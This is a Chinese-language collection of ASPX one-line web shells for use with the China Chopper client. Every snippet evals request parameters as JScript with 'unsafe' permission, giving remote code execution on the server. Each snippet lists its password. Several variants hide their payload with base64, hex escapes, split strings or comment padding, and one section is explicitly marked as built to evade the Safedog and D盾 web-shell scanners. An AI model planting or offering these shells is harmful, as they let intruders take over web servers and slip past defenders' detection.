一句话木马：ASPX篇

aspx木马收集：

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

随日期变化的连接密码, Asp.NET服务端写法：

<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>

例如：菜刀的密码为chopper，在前面加三个字符,新密码为：{D}chopper

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>

<script runat="server" language="JScript">
function popup(str) {
var q = "u";
var w = "afe";
var a = q + "ns" + w;
var b= eval(str,a);
return(b);
}
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>

密码 z

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var keng 
keng = Request.Item["never"];
Response.Write(eval(keng,"unsafe"));
%>

<%@ Page Language = Jscript %>
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

密码 -7

<%@PAGE LANGUAGE=JSCRIPT%>
<%var PAY:String=Request["\x61\x62\x63\x64"];
eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");
%>

密码 abcd

<%@PAGE LANGUAGE=JSCRIPT%>
<%var PAY:String=
Request["\x61\x62\x63\x64"];eval
(PAY,"\x75\x6E\x73\x61"+
"\x66\x65");%>

过狗过D盾一句话

<%@ Page Language="Jscript" Debug=true%>
<%
var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJwYXNzIl0="));
var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));
var c=eval(a,b);
eval(c,b);

%>

<%@ Page Language="Jscript" Debug=true%>
<%
var a=Request.Form["pass"];
var b="unsa",c="fe",d=b+c;
function fun()
{
return a;
}
eval(fun(),d);
%>
